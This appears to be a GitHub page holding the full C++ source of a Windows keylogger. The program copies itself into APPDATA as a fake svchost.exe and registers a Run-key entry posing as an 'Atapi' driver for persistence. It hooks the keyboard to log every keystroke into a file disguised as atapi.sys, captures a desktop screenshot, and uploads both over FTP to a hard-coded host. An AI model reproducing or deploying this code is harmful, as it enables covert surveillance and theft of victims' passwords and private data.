-
Notifications
You must be signed in to change notification settings - Fork 196
/
Sourcecode.cpp
842 lines (773 loc) · 32.7 KB
/
Sourcecode.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
#include <stdio.h>
#include <string>
#include <windows.h>
#include <wininet.h>
#include <winuser.h>
#include <conio.h>
#include <time.h>
#include <fstream>
#include <strsafe.h>
#include <io.h>
#include <crtdefs.h>
#include <fstream>
#include <GdiPlus.h>
using namespace Gdiplus;
using namespace std;
#pragma comment(lib,"Wininet.lib")
#pragma comment (lib,"gdiplus.lib")
fstream log_error_file("log_error.txt",ios::app);
string userlc;
void userpath(){
char szDir[260];
// GetTempPath(260,szDir);
GetEnvironmentVariable("APPDATA",szDir,260);
userlc = szDir;
userlc += "\\WPDNSE\\";
log_error_file<<userlc<<"\n";
log_error_file.close();
}
void screenshot(string file){
ULONG_PTR gdiplustoken;
GdiplusStartupInput gdistartupinput;
GdiplusStartupOutput gdistartupoutput;
gdistartupinput.SuppressBackgroundThread = true;
GdiplusStartup(& gdiplustoken,& gdistartupinput,& gdistartupoutput); //start GDI+
HDC dc=GetDC(GetDesktopWindow());//get desktop content
HDC dc2 = CreateCompatibleDC(dc); //copy context
RECT rc0kno;
GetClientRect(GetDesktopWindow(),&rc0kno);// get desktop size;
int w = rc0kno.right-rc0kno.left;//width
int h = rc0kno.bottom-rc0kno.top;//height
HBITMAP hbitmap = CreateCompatibleBitmap(dc,w,h);//create bitmap
HBITMAP holdbitmap = (HBITMAP) SelectObject(dc2,hbitmap);
BitBlt(dc2, 0, 0, w, h, dc, 0, 0, SRCCOPY);//copy pixel from pulpit to bitmap
Bitmap* bm= new Bitmap(hbitmap,NULL);
UINT num;
UINT size;
ImageCodecInfo *imagecodecinfo;
GetImageEncodersSize(&num,&size); //get count of codec
imagecodecinfo = (ImageCodecInfo*)(malloc(size));
GetImageEncoders (num,size,imagecodecinfo);//get codec
CLSID clsidEncoder;
for(int i=0; i < num; i++)
{
if(wcscmp(imagecodecinfo[i].MimeType,L"image/jpeg")==0)
clsidEncoder = imagecodecinfo[i].Clsid;//get jpeg codec id
}
free(imagecodecinfo);
wstring ws;
ws.assign(file.begin(),file.end());//sring to wstring
bm->Save(ws.c_str(),& clsidEncoder); //save in jpeg format
SelectObject(dc2,holdbitmap);//Release Objects
DeleteObject(dc2);
DeleteObject(hbitmap);
ReleaseDC(GetDesktopWindow(),dc);
GdiplusShutdown(gdiplustoken);
}
void ftp_scrshot_send(){
HINTERNET hInternet;
HINTERNET hFtpSession;
DWORD rec_timeout = 5000;
hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
if(hInternet == NULL){
log_error_file<<"Error:"<<GetLastError();
}
else{
hFtpSession = InternetConnect(hInternet,"192.168.8.2",2121,NULL,NULL,INTERNET_SERVICE_FTP,0,0);
InternetSetOption(hInternet,INTERNET_OPTION_SEND_TIMEOUT,&rec_timeout,sizeof(rec_timeout));
if(hFtpSession == NULL){
log_error_file<<"Error:"<<GetLastError();
}
else{
if(!FtpPutFile(hFtpSession,"core32.mni","hacks/sc/dc.jpg",FTP_TRANSFER_TYPE_BINARY,0)){
log_error_file<<"Error:"<<GetLastError();
}
}
}
log_error_file.close();
}
void ftplogsend(){
HINTERNET hInternet;
HINTERNET hFtpSession;
DWORD rec_timeout = 2000;
hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
if(hInternet == NULL){
log_error_file<<"Error:"<<GetLastError();
}
else{
hFtpSession = InternetConnect(hInternet,"192.168.8.2",2121,NULL,NULL,INTERNET_SERVICE_FTP,0,0);
InternetSetOption(hInternet,INTERNET_OPTION_SEND_TIMEOUT,&rec_timeout,sizeof(rec_timeout));
if(hFtpSession == NULL){
log_error_file<<"Error:"<<GetLastError();
}
else{
if(!FtpPutFile(hFtpSession,"atapi.sys","hacks/hacks.txt",FTP_TRANSFER_TYPE_BINARY,0)){
log_error_file<<"Error:"<<GetLastError();
log_error_file.close();
}
}
}
}
void AutoCopy(){
string f_path = userlc;
string f_name=f_path;
f_name+="\\svchost.exe";//file name
char my_name[260];
GetModuleFileName(GetModuleHandle(0),my_name,260);//name of running process
string f_my=my_name;
CreateDirectory(f_path.c_str(),NULL);
CopyFile(f_my.c_str(),f_name.c_str(),FALSE);
}
void Install(){
SYSTEMTIME st;
GetLocalTime(&st);
int year = st.wYear;
int month = st.wMonth;
int day = st.wDay;
int hour = st.wHour;
int mintue = st.wMinute;
string yearS = to_string(year);
yearS += "_";
string monthS = to_string(month);
monthS += "-";
string dayS = to_string(day);
dayS += "-";
string hourS = to_string(hour);
hourS += "H-";
string mintueS = to_string(mintue);
mintueS += "M------------>\n\n";
string startDate = "\n\n";
startDate += dayS + monthS + yearS + hourS + mintueS;
char dateCh[260];
strcpy(dateCh,startDate.c_str());
string ff_path = userlc;
char szDir[260];
strcpy(szDir,ff_path.c_str());
strcat(szDir,"atapi.sys");
FILE *file;
file = fopen(szDir, "a+");
fputs(dateCh,file);
fclose(file);
}
int isCapsLock()
{
if ((GetKeyState(VK_CAPITAL) & 0x0001) != 0)
{
return 1;
}
else
{
return 0;
}
}
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
KBDLLHOOKSTRUCT *pKeyBoard = (KBDLLHOOKSTRUCT *)lParam;
DWORD dwMsg = 1;
string ff_path = userlc;
char szDir[260];
strcpy(szDir,ff_path.c_str());
strcat(szDir,"atapi.sys");
FILE *file;
file = fopen(szDir, "a+");
DWORD dwAttrs = GetFileAttributesA(szDir);
// if (dwAttrs!= (FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN))
// SetFileAttributesA(szDir, FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN);
switch (wParam)
{
case WM_KEYDOWN:
{
DWORD vkCode = pKeyBoard->vkCode;
if (GetAsyncKeyState(VK_SHIFT))
{
switch (vkCode)
{
case 0x30:
fputs("[)]", file);
break;
case 0x31:
fputs("[!]", file);
break;
case 0x32:
fputs("[@]", file);
break;
case 0x33:
fputs("[#]", file);
break;
case 0x34:
fputs("[$]", file);
break;
case 0x35:
fputs("[%]", file);
break;
case 0x36:
fputs("[^]", file);
break;
case 0x37:
fputs("[&]", file);
break;
case 0x38:
fputs("[*]", file);
break;
case 0x39:
fputs("[(]", file);
break;
case 0xBF:
fputs("[?]", file); ///
break;
case 0xBB:
fputs("[+]", file);
break;
case 0xBE:
fputs("[<]", file);
break;
case 0xBD:
fputs("[_]", file);
break;
case 0xE2:
fputs("[>]", file);
break;
case 0x1C:
fputs("[VK_CONVERT]",file);
break;
case 0x56:
fputs("[@]", file);
break;
case 0x2A:
fputs ("[PRINT]",file);
break;
case 0x2E:
fputs ("[Delete]",file);
break;
case 0xAA:
fputs("[Search]",file);
break;
case 0xF2:
fputs("[Copy]",file);
break;
case 0xFE:
fputs("[Clear]",file);
break;
case 0x3:
fputs("[Connect]",file);
break;
case 0x6:
fputs("[Logoff]",file);
break;
}
}
else
{
switch (vkCode)
{
case 0x30:
fputs("0", file);
break;
case 0x31:
fputs("1", file);
break;
case 0x32:
fputs("2", file);
break;
case 0x33:
fputs("3", file);
break;
case 0x34:
fputs("4", file);
break;
case 0x35:
fputs("5", file);
break;
case 0x36:
fputs("6", file);
break;
case 0x37:
fputs("7", file);
break;
case 0x38:
fputs("8", file);
break;
case 0x39:
fputs("9", file);
break;
case 0xBF:
fputs("/", file);
break;
case 0xBB:
fputs("=", file);
break;
case 0xBC:
fputs(",", file);
break;
case 0xBE:
fputs(".", file);
break;
case 0xBD:
fputs("-", file);
break;
case 0xE2:
fputs("<", file);
break;
}
}
if (!(GetAsyncKeyState(VK_SHIFT)))
{
switch (vkCode)
{
case 0x41:
fputs("a", file);
break;
case 0x42:
fputs("b", file);
break;
case 0x43:
fputs("c", file);
break;
case 0xBA:
fputs("č", file);
break;
case 0x44:
fputs("d", file);
break;
case 0x45:
fputs("e", file);
break;
case 0x46:
fputs("f", file);
break;
case 0x47:
fputs("g", file);
break;
case 0x48:
fputs("h", file);
break;
case 0x49:
fputs("i", file);
break;
case 0x4A:
fputs("j", file);
break;
case 0x4B:
fputs("k", file);
break;
case 0x4C:
fputs("l", file);
break;
case 0x4D:
fputs("m", file);
break;
case 0x4E:
fputs("n", file);
break;
case 0x4F:
fputs("o", file);
break;
case 0x50:
fputs("p", file);
break;
case 0x52:
fputs("r", file);
break;
case 0x53:
fputs("s", file);
break;
case 0x54:
fputs("t", file);
break;
case 0x55:
fputs("u", file);
break;
case 0x56:
fputs("v", file);
break;
case 0x5A:
fputs("z", file);
break;
case 0xDC:
fputs("\\", file);
break;
case 0x51:
fputs("q", file);
break;
case 0x57:
fputs("w", file);
break;
case 0x59:
fputs("y", file);
break;
case 0x58:
fputs("x", file);
break;
case 0xDE:
fputs("ć", file);
break;
case 0xDD:
fputs("đ", file);
break;
default:
fputs(" ", file);
}
}
if ((GetAsyncKeyState(VK_SHIFT)))
{
switch (vkCode)
{
case 0x41:
fputs("A", file);
break;
case 0x42:
fputs("B", file);
break;
case 0x43:
fputs("C", file);
break;
case 0xBA:
fputs("č", file);
break;
case 0x44:
fputs("D", file);
break;
case 0x45:
fputs("E", file);
break;
case 0x46:
fputs("F", file);
break;
case 0x47:
fputs("G", file);
break;
case 0x48:
fputs("H", file);
break;
case 0x49:
fputs("I", file);
break;
case 0x4A:
fputs("J", file);
break;
case 0x4B:
fputs("K", file);
break;
case 0x4C:
fputs("L", file);
break;
case 0x4D:
fputs("M", file);
break;
case 0x4E:
fputs("N", file);
break;
case 0x4F:
fputs("O", file);
break;
case 0x50:
fputs("P", file);
break;
case 0x52:
fputs("R", file);
break;
case 0x53:
fputs("S", file);
break;
case 0x54:
fputs("T", file);
break;
case 0x55:
fputs("U", file);
break;
case 0x56:
fputs("V", file);
break;
case 0x5A:
fputs("Z", file);
break;
case 0x51:
fputs("Q", file);
break;
case 0x57:
fputs("W", file);
break;
case 0x59:
fputs("Y", file);
break;
case 0x58:
fputs("X", file);
break;
default:
fputs(" ", file);
}
}
else VK_SHIFT + KF_ALTDOWN ;
switch (vkCode)
{
case VK_SPACE:
fputs("[Space]", file);
break;
case 0x2E:
fputs("[Delete]", file);
break;
case VK_BACK:
fputs("[BackSpace]", file);
break;
case VK_RETURN:
fputs("[Enter]\n", file);
break;
case VK_LCONTROL:
fputs("[Ctrl]", file);
break;
case VK_RCONTROL:
fputs("[Ctrl]", file);
break;
case VK_TAB:
fputs("[Tab]", file);
break;
case 0x25:
fputs("[Left Arrow]", file);
break;
case 0x26:
fputs("[Up Arrow]", file);
break;
case 0x27:
fputs("[Right Arrow]", file);
break;
case 0x28:
fputs("[Down Arrow]", file);
break;
case VK_ESCAPE:
fputs("[Esc]", file);
break;
case VK_CAPITAL:
fputs("[Caps Lock]", file);
break;
case VK_RSHIFT:
fputs("[Right Shift]", file);
break;
case VK_LSHIFT:
fputs("[Left Shift]", file);
break;
case VK_LMENU:
fputs("[Left Alt]", file);
break;
case VK_RMENU:
fputs("[Right Alt]", file);
break;
case VK_LWIN:
fputs("[Left Win]", file);
break;
case VK_RWIN:
fputs("[Right Win]", file);
break;
case VK_INSERT:
fputs("[Insert]", file);
break;
case VK_SCROLL:
fputs("[Scroll Lock]", file);
break;
case VK_HOME:
fputs("[Home]", file);
break;
case VK_END:
fputs("[End]", file);
break;
case VK_PRIOR:
fputs("[Page Up]", file);
break;
case VK_NEXT:
fputs("[Page Down]", file);
break;
case VK_SNAPSHOT:
fputs("[Print Screen]", file);
break;
case VK_OEM_3:
fputs("[ ~ ` ]", file);
break;
case VK_OEM_4:
fputs("[ { [ ]", file);
break;
case VK_OEM_6:
fputs("[ } ] ]", file);
break;
case VK_OEM_1:
fputs("[ : ; ]", file);
break;
case VK_OEM_7:
fputs("[ \" ' ]", file);
break;
case VK_F1:
fputs("[F1]", file);
break;
case VK_F2:
fputs("[F2]", file);
break;
case VK_F3:
fputs("[F3]", file);
break;
case VK_F4:
fputs("[F4]", file);
break;
case VK_F5:
fputs("[F5]", file);
break;
case VK_F6:
fputs("[F6]", file);
break;
case VK_F7:
fputs("[F7]", file);
break;
case VK_F8:
fputs("[F8]", file);
break;
case VK_F9:
fputs("[F9]", file);
break;
case VK_F10:
fputs("[F10]", file);
break;
case VK_F11:
fputs("[F11]", file);
break;
case VK_F12:
fputs("[F12]", file);
break;
case VK_NUMPAD0:
fputs("0", file);
break;
case VK_NUMPAD1:
fputs("1", file);
break;
case VK_NUMPAD2:
fputs("2", file);
break;
case VK_NUMPAD3:
fputs("3", file);
break;
case VK_NUMPAD4:
fputs("4", file);
break;
case VK_NUMPAD5:
fputs("5", file);
break;
case VK_NUMPAD6:
fputs("6", file);
break;
case VK_NUMPAD7:
fputs("7", file);
break;
case VK_NUMPAD8:
fputs("8", file);
break;
case VK_NUMPAD9:
fputs("9", file);
break;
case 0x6F:
fputs("[/]", file);
break;
case 0x6A:
fputs("[*]", file);
break;
case 0x6D:
fputs("[-]", file);
break;
case 0x6B:
fputs("[+]", file);
break;
case 0x6E:
fputs("[,]", file);
break;
}
}
case WM_SYSKEYDOWN:
{
DWORD vkCode = pKeyBoard->vkCode;
if (GetAsyncKeyState(VK_RSHIFT))
{
switch (vkCode)
{
case 0x51:
fputs("[\\]", file);
break;
case 0x57:
fputs("[|]", file);
break;
case 0xDB:
fputs("[{]", file);
break;
case 0xDD:
fputs("[}]", file);
break;
case 0xDC:
fputs("[|]", file);
break;
case 0x56:
fputs("[@]", file);
break;
case 0xBE:
fputs("[>]", file);
break;
}
}
}
default:
fclose(file);
return CallNextHookEx( NULL, nCode, wParam, lParam );
}
fclose(file);
return 0;
}
DWORD WINAPI KeyLogger(LPVOID lpParameter)
{
HHOOK hKeyHook;
HINSTANCE hExe = GetModuleHandle(NULL);
if (hExe == NULL)
{
return 1;
}
else
{
hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)LowLevelKeyboardProc, hExe, 0);
MSG msg;
while (GetMessage(&msg, NULL, 0, 0) != 0)
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnhookWindowsHookEx(hKeyHook);
}
return 0;
}
int StartKeyLogging()
{
HANDLE hThread;
DWORD dwThread;
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)KeyLogger,NULL, 0, NULL);
if (hThread)
{
return WaitForSingleObject(hThread, INFINITE);
}
else
{
return 1;
}
}
void AutoStart()
{
char Driver[MAX_PATH];
HKEY hKey;
string ff_path = userlc + "svchost.exe";
strcpy(Driver,ff_path.c_str());
RegOpenKeyExA(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey);
RegSetValueExA(hKey, "Windows Atapi x86_64 Driver", 0, REG_SZ, (const unsigned char *)Driver, MAX_PATH);
RegCloseKey(hKey);
}
int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR pCmdLine, int nCmdShow)
{
userpath();
AutoCopy(); //autocopy
AutoStart(); // auto start everytime
Sleep(1000*60*1);
Install(); // write log date
screenshot("core32.mni");
ftp_scrshot_send();
ftplogsend();
StartKeyLogging();
}